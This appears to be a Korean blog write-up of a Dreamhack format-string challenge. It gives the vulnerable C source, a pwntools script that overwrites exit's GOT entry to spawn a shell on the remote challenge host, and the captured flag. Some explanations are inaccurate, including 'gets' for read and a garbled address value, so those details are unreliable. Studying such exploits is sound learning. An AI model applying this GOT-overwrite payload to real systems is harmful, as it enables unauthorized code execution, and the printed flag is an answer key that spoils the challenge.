환경 정보를 보면 NX 보호기법이 활성화되었다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
main 함수는 buf에 0x80 즉 128 바이트가 할당된다.
initialize 함수가 실행되고 gets로 buf 입력을 받는다.
initialize 함수가 실행되고 30초가 지나면 Time Out 메시지가 출력되고 프로그램이 종료된다.
그리고 print("%s", &buf)가 아닌 print(buf) 라서 Format String Bug가 발생될 수 있다.
read로 0x80 만큼 문자열을 입력받기 때문에 Buffer Overflow는 발생하지 않는다.
get_shell 함수는 system 명령어로 /bin/sh의 주소를 출력한다.
스택 buf에 서식문자를 넣어서 Format String Bug를 발생시켜서 get_shell 함수를 실행시켜야 한다.
그러려면 exit(0)을 활용해야하고, exit의 GOT를 get_shell 함수 주소로 Overwrite 해야한다.
그걸 위해서는 exit의 GOT 주소와 get_shell 함수의 주소가 필요하다.
exit의 GOT 주소와 get_shell 주소를 구해준다.
입력 값을 몇번째 서식 문자열에서 참조하는지 알아내야 한다.
4바이트 체제이기에 a를 4번 입력하고 %x를 입력해 16진수로 출력하도록 한다.
느리면 30초 타임아웃에 걸려버린다.
첫번째 %x에서 aaaa를 인자로 받는 것을 알 수 있다.
from pwn import *
p = remote("host3.dreamhack.games", 15609)
exit = 0x804a024
payload = p32(exit+2) + p32(exit) + b"%2044c%1$hn%32261c%2$hn"
p.sendline(payload)
p.interactive()
payload의 구조는 위와 같다.
exit_got 주소 값을 32비트 리틀엔디안 방식으로 넣어준다.
%n은 4바이트씩을 인자에 넣는 기능인데,
get_shell() 함수의 주소가 값이 크기 때문에 2바이트씩 나눠 전송하기 위해 %hn을 사용한다.
%1$hn으로 처음 2바이트, %2$hn으로 뒤의 2바이트를 전송한다.
exit_got: 0x8609
exit_got + 2: 0x8040
exit GOT 주소 작성에 8바이트를 사용하기에 0x8만큼 빼준다.
0x804 = 2052
0x804 - 0x8 = 2044
0x8609 - 0x8040 = 32261
큰 수를 사용했기 때문에 뒤에 c를 추가적으로 써준다.
그리고 sendline으로 payload 값을 전송하고 interactive를 통해 쉘에 접속한다.
DH{59c4a03eff1e4c10c87ff123fb93d56c}
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack] tcache_dup (0) | 2023.11.19 |
---|---|
[Dreamhack] uaf_overwrite (0) | 2023.11.11 |
[Dreamhack] Return to library (0) | 2023.09.24 |
[Dreamhack] ssp-001 (0) | 2023.09.24 |
[Dreamhack] Return to shallcode (0) | 2023.09.24 |